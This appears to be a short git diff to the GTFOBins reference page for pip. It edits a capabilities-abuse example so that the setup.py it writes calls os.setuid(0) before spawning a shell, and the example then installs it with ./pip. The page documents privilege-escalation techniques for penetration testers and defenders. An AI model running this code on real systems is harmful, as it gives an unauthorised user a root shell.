diff --git a/_gtfobins/pip.md b/_gtfobins/pip.md index 41ec9ba..2b77a5c 100644 --- a/_gtfobins/pip.md +++ b/_gtfobins/pip.md @@ -79,6 +79,6 @@ functions: capabilities-enabled: - code: | TF=$(mktemp -d) - echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py + echo "import os; os.setuid(0); os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py ./pip install $TF ---